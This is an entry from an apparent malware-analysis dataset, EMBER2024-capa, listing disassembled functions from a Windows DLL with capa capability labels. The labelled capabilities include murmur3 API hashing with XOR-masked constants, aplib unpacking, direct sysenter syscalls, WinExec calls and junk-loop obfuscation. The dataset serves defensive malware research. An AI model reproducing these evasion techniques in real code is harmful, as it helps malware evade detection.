joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
push edi
mov ecx, dword [ebp + 0xc]
add ecx, 0x165667b1
mov esi, dword [ebp + 8]
lodsb al, byte [esi]
movzx ebx, al
mov eax, ebx
mov edx, 0x3352f85b
xor edx, 0x25049fea
imul eax, edx
add ecx, eax
rol ecx, 0xb
mov edx, 0xbb33e65b
xor edx, 0x25049fea
imul ecx, edx
test ebx, ebx
jne 0x10001014
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov edx, 0xa0ef559d
xor edx, 0x25049fea
imul eax, edx
mov ecx, eax
shr eax, 0xd
xor eax, ecx
mov edx, 0xe7b631d7
xor edx, 0x25049fea
imul eax, edx
mov ecx, eax
shr eax, 0x10
xor eax, ecx
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop ebp
ret 8

Function at 0x1000107c
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
push edi
mov ecx, dword [ebp + 0xc]
add ecx, 0x165667b1
mov esi, dword [ebp + 8]
lodsw ax, word [esi]
cmp ax, 0x41
jb 0x100010a2
cmp ax, 0x5a
ja 0x100010a2
xor ax, 0x20
movzx ebx, ax
mov eax, ebx
mov edx, 0x3352f85b
xor edx, 0x25049fea
imul eax, edx
add ecx, eax
rol ecx, 0xb
mov edx, 0xbb33e65b
xor edx, 0x25049fea
imul ecx, edx
test ebx, ebx
jne 0x10001090
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov edx, 0xa0ef559d
xor edx, 0x25049fea
imul eax, edx
mov ecx, eax
shr eax, 0xd
xor eax, ecx
mov edx, 0xe7b631d7
xor edx, 0x25049fea
imul eax, edx
mov ecx, eax
shr eax, 0x10
xor eax, ecx
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop ebp
ret 8
Function at 0x10001530
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
push edi
cld
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push ebp
mov dl, pe_nt_image_headers32
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x1000155a
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10001542
add dl, dl
jne 0x10001565
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x100015b6
xor eax, eax
add dl, dl
jne 0x10001572
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10001653
add dl, dl
jne 0x10001581
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1000158c
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10001597
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x100015a2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x100015ac
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10001551
mov eax, 1
add dl, dl
jne 0x100015c4
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x100015cf
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x100015bb
sub eax, ebx
mov ebx, 1
jne 0x10001602
mov ecx, 1
add dl, dl
jne 0x100015e8
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x100015f3
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x100015df
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10001551
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10001619
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10001624
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10001610
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10001551
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10001673
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10001551
pop ebp
sub edi, dword [ebp + 0xc]
mov eax, edi
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop ebp
ret 8

Function at 0x10001ad4
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0x10001ade
Capabilities:
Connect pipe
Encode data using xor

Disassembly:
mov eax, 0x100605c1
call fcn.10060138
sub esp, 0x20
mov byte [ebp - 0x14], cl
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
test cl, cl
je 0x10001bb8
mov dword [ebp - 0x24], 0x1a45
xor esi, esi
cmp dword [ebp - 0x24], 0x1b69
jle 0x10001b79
mov edi, esi
mov dword [ebp - 0x20], esi
mov ebx, esi
mov dword [ebp - 0x1c], esi
mov eax, ebx
mov dword [ebp - 0x18], esi
and eax, edi
mov dword [ebp - 0x28], eax
mov edi, eax
mov ebx, esi
mov esi, dword [ebp - 0x18]
lea eax, [ebx + esi]
mov ecx, 0x1007cb98
xor eax, edi
cdq
push edx
push eax
call fcn.10004616
inc ebx
cmp ebx, 0x63f3
jl 0x10001b29
inc esi
push 0
mov dword [ebp - 0x18], esi
cmp esi, 0x47c4
pop esi
jl 0x10001b24
mov ebx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
inc ebx
mov dword [ebp - 0x1c], ebx
cmp ebx, 0x144e
jl 0x10001b18
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x27c0
jl 0x10001b13
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push esi
push esi
call dword [sym.imp.USER32.dll_CharUpperBuffW]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x24], 0x19fb
jge 0x10001b9c
mov edx, str.djecp_yxhetpzi_bfzo_ofl
mov ecx, 0x1007cb98
call fcn.10006a66
jmp 0x10001bbd
mov eax, dword [ebp + 8]
dec dword [eax]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001ddd
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x100605d5
call fcn.10060138
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], 0x221a
mov edi, ecx
cmp dword [ebp - 0x18], 0x2525
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], edi
jle 0x10001e43
xor ebx, ebx
xor esi, esi
mov dword [ebp - 0x14], esi
mov edi, esi
mov esi, 0x5028
mov eax, edi
mov ecx, 0x1007cb98
xor eax, ebx
cdq
push edx
push eax
call fcn.10004616
dec edi
dec esi
jne 0x10001e13
mov esi, dword [ebp - 0x14]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x3629
jl 0x10001e0c
inc ebx
cmp ebx, 0x724a
jl 0x10001e07
mov edi, dword [ebp - 0x1c]
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x1ff7
jge 0x10001e7e
mov edx, str.hvysbfa_euijmcimq_wadioy
mov ecx, 0x1007cb98
call fcn.10006a66
jmp 0x10001e7e
cmp byte [ebp + 8], 0
je 0x10001e8b
mov eax, dword [ebp + 0xc]
inc dword [eax]
jmp 0x10001e90
xor eax, eax
mov word [edi], ax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000226d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
cmp byte [ebp + 0xc], 0
mov byte [esp + 8], dl
mov byte [esp + 0xc], cl
je 0x100022ba
test dl, dl
je 0x100022b3
mov byte [esp + 7], 0
cmp byte [esp + 7], 0
je 0x100022ec
push 0
push 1
push 1
push 0x38bf
mov edx, 0x2b78
mov ecx, 0x12fd
call fcn.10001bce
add esp, 0x10
jmp 0x100022ec
mov eax, dword [ebp + 8]
dec dword [eax]
jmp 0x100022ec
test cl, cl
je 0x100022df
mov byte [esp + 7], 0
cmp byte [esp + 7], 0
je 0x100022ec
push ecx
push 1
sub esp, 0xc
mov ecx, 0x7f53
call fcn.10001a8d
add esp, 0x14
jmp 0x100022ec
push 0xa82
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esp, ebp
pop ebp
ret
Function at 0x10009776
Capabilities:
Connect pipe
Encode data using xor

Disassembly:
mov eax, 0x10060a53
call fcn.10060138
sub esp, 0x40
push ebx
push esi
push edi
mov dword [ebp - 0x2c], 0x744b
mov edi, edx
cmp dword [ebp - 0x2c], 0x775a
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], edi
jle 0x100097f3
xor esi, esi
xor edi, edi
mov dword [ebp - 0x18], 0x4efd
xor ebx, ebx
mov eax, edi
lea ecx, [ebp - 0x48]
and eax, ebx
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100097c4
mov eax, dword [eax]
push eax
call fcn.10047e1c
pop ecx
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.10004d0a
inc ebx
cmp ebx, 0x4f20
jl 0x100097ab
add edi, esi
dec dword [ebp - 0x18]
jne 0x100097a9
inc esi
cmp esi, 0x245a
jl 0x100097a0
mov edi, dword [ebp - 0x1c]
cmp byte [ebp + 0xc], 0
je 0x1000980e
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
mov eax, dword [ebp + 0x1c]
sar ecx, 2
mov dword [eax], ecx
jmp 0x100098d1
mov dword [ebp - 0x28], 0x2c87
cmp dword [ebp - 0x28], 0x2cd0
jle 0x10009894
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
and dword [ebp - 0x18], 0
mov edi, dword [ebp - 0x18]
xor esi, esi
mov dword [ebp - 0x24], esi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
and dword [ebp - 0x30], 0
mov eax, esi
cdq
idiv ebx
mov esi, dword [ebp - 0x30]
mov ebx, edx
mov ecx, esi
mov eax, ebx
sar eax, cl
mov ecx, 0x1007cb98
xor eax, edi
cdq
push edx
push eax
call fcn.10004616
inc esi
cmp esi, 0x6bcf
jl 0x10009847
mov ebx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
inc ebx
mov dword [ebp - 0x20], ebx
cmp ebx, 0x830
jl 0x10009839
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x4c61
jl 0x10009834
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x7d77
jl 0x1000982c
mov edi, dword [ebp - 0x1c]
and dword [ebp - 4], 0
cmp dword [ebp - 0x28], 0x2aff
jge 0x100098cf
mov edx, str.dcch_cjifxz_tra_gxnlgkela_vwjadhk_bikaryu_tylwqt_rlvvrk_vclocuw
mov ecx, 0x1007cb98
call fcn.10006a66
jmp 0x100098cf
dec dword [edi]
cmp dword [ebp - 0x2c], 0x70b0
jge 0x100098e5
push str.mpjqv_drejh_aiqhl_noicdhwyn_kkzqiicjq_naziep_lybsxwdu_ifg_iciwhfph_gkhw_mzd_rsidqsue_uyawpmjsy_vreegdv
call fcn.10047e1c
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000992f
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10060a85
call fcn.10060138
sub esp, 0x6c
cmp byte [ebp + 0x18], 0
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x2c], edi
mov ebx, ecx
je 0x100099a3
cmp byte [ebp + 0x10], 0
je 0x10009983
mov edi, dword [ebp + 0x28]
mov esi, dword [ebp + 0x1c]
mov eax, dword [edi + 4]
sub eax, dword [edi]
sar eax, 2
mov dword [esi], eax
jmp 0x1000997a
and dword [ebp - 0x24], 0
lea eax, [ebp - 0x24]
push eax
mov ecx, edi
call fcn.1000c3a3
inc dword [esi]
mov eax, dword [esi]
cmp eax, dword [ebx]
jl 0x10009967
jmp 0x10009c7d
mov byte [ebp + 0x1b], 0
cmp byte [ebp + 0x1b], 0
je 0x10009c7d
push 0
push 0x21a2
call dword [sym.imp.USER32.dll_ValidateRect]
jmp 0x10009c7d
cmp byte [ebp + 0x14], 0
je 0x100099d5
mov edx, dword [ebp + 0x24]
mov dword [edx], 0
cmp dword [edx], 3
jge 0x10009c7d
mov esi, dword [ebp + 8]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 1
inc dword [edx]
cmp dword [edx], 3
jl 0x100099be
jmp 0x10009c7d
mov dword [ebp + 0x18], 0x15fc
cmp dword [ebp + 0x18], 0x166f
jle 0x10009a0c
xor esi, esi
xor ebx, ebx
mov eax, ebx
mov ecx, 0x1007cb98
xor eax, esi
cdq
push edx
push eax
call fcn.10004616
inc ebx
cmp ebx, 0x4731
jl 0x100099e9
inc esi
cmp esi, 0x2808
jl 0x100099e7
and dword [ebp - 4], 0
cmp dword [ebp + 0x18], 0x14e7
jge 0x10009c4f
mov edx, str.epcz_sesnymcg_rmlt_jsrrpsm_yxmbli_azncnh_niy
mov ecx, 0x1007cb98
call fcn.10006a66
jmp 0x10009c4f
mov esi, dword [ebp + 0x20]
or dword [ebp - 4], 0xffffffff
mov dword [esi], 0
jmp 0x10009c78
push esi
push ecx
push dword [ebp + 0xc]
mov edx, 0x78ea
mov ecx, 0x1c8d
push edi
call fcn.10008e37
add esp, 0x10
dec dword [esi]
cmp dword [esi], 0
jge 0x10009c5e
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a44a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [ebp + 8], 0
je 0x1000a46e
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0
je 0x1000a485
push 0x170e
push 0x23b7
call dword [sym.imp.USER32.dll_GetWindow]
jmp 0x1000a485
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
je 0x1000a485
push 0xa82
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esp, ebp
pop ebp
ret
Function at 0x1000ad06
Capabilities:
Read .ini file

Disassembly:
mov eax, 0x10060b32
call fcn.10060138
sub esp, 0x60
cmp byte [ebp + 0x18], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x18], dl
je 0x1000ad55
cmp byte [ebp + 0x2c], 0
je 0x1000ad40
mov eax, dword [ebp + 0x14]
push dword [ebp + 8]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
mov edx, dword [eax]
call fcn.10020688
pop ecx
jmp 0x1000af0b
cmp byte [ecx], 0
je 0x1000af0b
xor cl, cl
call fcn.100079c9
jmp 0x1000af0b
mov dword [ebp - 0x1c], 0x34cf
xor esi, esi
cmp dword [ebp - 0x1c], 0x3510
jle 0x1000adaf
mov edi, esi
mov ebx, edi
mov dword [ebp + 0x18], 0xace
mov dword [ebp - 0x20], esi
mov eax, ebx
mov ecx, 0x1007cb98
or eax, esi
cdq
push edx
push eax
call fcn.10004616
inc esi
cmp esi, 0x7721
jl 0x1000ad75
dec ebx
dec dword [ebp + 0x18]
push 0
pop esi
jne 0x1000ad72
inc edi
cmp edi, 0x48c0
jl 0x1000ad69
push esi
push 0x3b6
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x1c], 0x31cf
jge 0x1000adca
mov edx, str.bggc_kmeihzx_mlyzzrk
mov ecx, 0x1007cb98
call fcn.10006a66
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x18], 0
je 0x1000ae43
mov edi, dword [ebp + 0xc]
push 0x18
pop ecx
mov eax, dword [edi + 4]
sub eax, dword [edi]
cdq
idiv ecx
mov dword [ebp + 0x18], eax
test eax, eax
je 0x1000af0b
mov ebx, esi
mov edx, dword [edi]
lea ecx, [ebp - 0x3c]
push dword [ebp + 0x10]
add edx, ebx
call fcn.100078ac
pop ecx
mov ecx, dword [edi]
push eax
add ecx, ebx
call fcn.1000bf79
push esi
push 1
lea ecx, [ebp - 0x3c]
call fcn.10004dd6
add ebx, 0x18
dec dword [ebp + 0x18]
jne 0x1000adef
jmp 0x1000af0b
mov dword [ebp - 0x20], 0x21ae
cmp dword [ebp - 0x20], 0x2427
jle 0x1000aebe
mov edi, esi
mov dword [ebp - 0x1c], esi
mov ebx, esi
mov dword [ebp + 0x18], esi
mov eax, edi
mov dword [ebp - 0x24], esi
cdq
mov edi, esi
idiv ebx
mov ebx, edx
mov eax, ebx
lea ecx, [ebp - 0x54]
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000ae85
mov eax, dword [eax]
push eax
call fcn.10047e1c
pop ecx
push esi
push 1
lea ecx, [ebp - 0x54]
call fcn.10004d0a
inc edi
cmp edi, 0x673
jl 0x1000ae69
mov ebx, dword [ebp + 0x18]
mov edi, dword [ebp - 0x1c]
inc ebx
mov dword [ebp + 0x18], ebx
cmp ebx, 0x405d
jl 0x1000ae5d
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x44d5
jl 0x1000ae58
cmp dword [ebp - 0x20], 0x1f2b
jge 0x1000aed2
push str.zwvxazx_znrr_xlt_ymjh_fvrh
call fcn.10047e1c
pop ecx
mov eax, dword [ebp + 0x20]
or dword [ebp - 4], 0xffffffff
mov ecx, dword [eax]
mov eax, dword [ebp + 0x24]
mov eax, dword [eax]
sub eax, ecx
push eax
push ecx
mov ecx, dword [ebp + 0x28]
lea eax, [ebp - 0x6c]
push eax
call fcn.1000c0a8
mov ecx, dword [ebp + 0x1c]
push eax
mov dword [ebp - 4], 4
call fcn.1000c156
push esi
push 1
lea ecx, [ebp - 0x6c]
call fcn.10004dd6
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000fdf0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060d36
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x54
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1000ff3a
lea eax, [ebp + 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x1000ff2b
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x1c], 0x8ea
mov dword [ebp - 0x4c], str.feopahev_tlhi_ystwezw_ypjtxpqew
cmp dword [ebp - 0x1c], 0xa55
jle 0x1000fece
and dword [ebp - 0x14], 0
jmp 0x1000fe8c
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xff4
jge 0x1000fece
and dword [ebp - 0x18], 0
jmp 0x1000fea2
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1b66
jge 0x1000fecc
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
sar eax, cl
cdq
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
push dword [ebp - 0x60]
push dword [ebp - 0x64]
mov ecx, 0x1007cb98
call fcn.10004616
jmp 0x1000fe9b
jmp 0x1000fe85
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x44]
call fcn.1001c25e
mov ecx, dword [ebp - 0x48]
mov cl, byte [ecx]
mov byte [eax], cl
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x7de
jge 0x1000ff03
mov edx, dword [ebp - 0x4c]
mov ecx, 0x1007cb98
call fcn.10006a66
jmp 0x1000ff1f
or dword [ebp - 4], 0xffffffff
jmp 0x1000ff29
jmp 0x1000ff38
push 0xa82
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x1000ff6d
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x5c], eax
push 0
push dword [ebp - 0x50]
push dword [ebp - 0x54]
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
push 0x6cd9
call fcn.1001344b
add esp, 0x18
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100144f3
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060eaf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x10014678
lea eax, [ebp + 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x1001465f
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 0x23e3
mov dword [ebp - 0x40], str.skwxsi_eldualbeb_hdduqnql_qxvsnd_ykqwpbfmp_rbwtxkx_ylojuf_iydv_ieeyzuype
cmp dword [ebp - 0x28], 0x27b4
jle 0x10014607
and dword [ebp - 0x18], 0
jmp 0x10014569
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x2c78
jge 0x10014607
and dword [ebp - 0x1c], 0
jmp 0x10014583
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x44f9
jge 0x10014602
and dword [ebp - 0x20], 0
jmp 0x10014599
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x7599
jge 0x100145fd
and dword [ebp - 0x24], 0
jmp 0x100145af
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x65fc
jge 0x100145fb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
sar eax, cl
mov ecx, dword [ebp - 0x20]
shl eax, cl
and eax, dword [ebp - 0x24]
cdq
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
push dword [ebp - 0x54]
push dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
call fcn.10001a55
pop ecx
pop ecx
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
call fcn.100045f6
push eax
call fcn.10047e1c
pop ecx
lea ecx, [ebp - 0x70]
call fcn.100045ec
jmp 0x100145a8
jmp 0x10014592
jmp 0x1001457c
jmp 0x10014562
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
movzx eax, byte [eax]
test eax, eax
je 0x10014621
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
and dword [ebp - 4], 0
cmp dword [ebp - 0x28], 0x2182
jge 0x10014637
push dword [ebp - 0x40]
call fcn.10047e1c
pop ecx
jmp 0x10014653
or dword [ebp - 4], 0xffffffff
jmp 0x1001465d
jmp 0x10014676
push 0x1534
push 0
push 0xbcd
push 0x6cd
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
jmp 0x100146ce
lea eax, [ebp + 0x10]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x44]
movzx eax, byte [eax]
test eax, eax
je 0x100146a2
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
test eax, eax
je 0x100146a0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
jmp 0x100146ce
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
movzx eax, byte [eax]
test eax, eax
je 0x100146ce
push 1
push 0
push 0x8a9
push 0x5059
call fcn.10013e26
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10020129
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
push esi
xor esi, esi
mov dword [ecx + 4], edx
push edi
inc esi
lea edi, [ecx + 8]
mov ebx, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, esi
inc esi
mov dword [edi], edx
lea edi, [edi + 4]
cmp esi, ebx
jl 0x10020140
pop edi
pop esi
mov dword [ecx], ebx
pop ebx
pop ebp
ret 8

Function at 0x10020162
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov edx, 0x1007ddc4
push edi
mov esi, edx
mov edi, 0x7fffffff
mov ecx, dword [esi + 0x9c4]
xor ecx, dword [esi + 0x9c0]
and ecx, edi
xor ecx, dword [esi + 0x9c0]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0xff4]
xor eax, ecx
mov dword [esi], eax
add esi, 4
cmp esi, 0x1007e150
jl 0x10020170
mov esi, 0x9908b0df
mov ecx, dword [edx + 0xd50]
xor ecx, dword [edx + 0xd4c]
and ecx, edi
xor ecx, dword [edx + 0xd4c]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, esi
xor eax, ecx
xor eax, dword [edx]
mov dword [edx + 0x38c], eax
add edx, 4
cmp edx, 0x1007e3f4
jl 0x100201b0
mov ecx, dword [0x1007f140]
xor ecx, dword [0x1007ddc4]
and ecx, edi
xor ecx, dword [0x1007f140]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
and dword [0x1007ddc0], 0
and eax, esi
shr ecx, 1
xor eax, ecx
xor eax, dword [0x1007e3f4]
mov dword [0x1007e780], eax
pop esi
ret
Function at 0x10022547
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10061363
call fcn.10060138
sub esp, 0x10
cmp byte [ebp + 0x10], 0
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
je 0x1002260b
mov dword [ebp - 0x18], 0x7e5
cmp dword [ebp - 0x18], 0xa61
jle 0x100225c9
xor edi, edi
xor ebx, ebx
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov eax, esi
cdq
idiv ecx
mov ecx, 0x1007cb98
and edx, ebx
xor edx, edi
mov eax, edx
cdq
push edx
push eax
call fcn.10004616
mov ecx, dword [ebp - 0x14]
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x753
jl 0x10022584
inc esi
cmp esi, 0x5242
jl 0x1002257f
inc ebx
cmp ebx, 0x5755
jl 0x1002257d
inc edi
cmp edi, 0x32e1
jl 0x1002257b
mov esi, dword [ebp - 0x1c]
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x76f
jge 0x10022604
mov edx, str.qwszjeza_aceguvx_bdglo_wichw
mov ecx, 0x1007cb98
call fcn.10006a66
jmp 0x10022604
dec dword [esi]
jmp 0x10022690
mov dword [ebp - 0x18], 0x2c73
cmp dword [ebp - 0x18], 0x2d96
jle 0x1002264e
xor esi, esi
xor edi, edi
xor ebx, ebx
lea eax, [ebx + edi]
mov ecx, 0x1007cb98
and eax, esi
cdq
push edx
push eax
call fcn.10004616
inc ebx
cmp ebx, 0x3e1e
jl 0x10022621
inc edi
cmp edi, 0x44b6
jl 0x1002261f
inc esi
cmp esi, 0x7114
jl 0x1002261d
mov dword [ebp - 4], 2
cmp dword [ebp - 0x18], 0x28f2
jge 0x1002266d
mov edx, str.somm_avttj_dqyvks_pdo_wpcxa_ekurozk_pxtsvhbml_zvmflsdr_zcrki_fsxzbabkn
mov ecx, 0x1007cb98
call fcn.10006a66
mov edx, dword [ebp + 8]
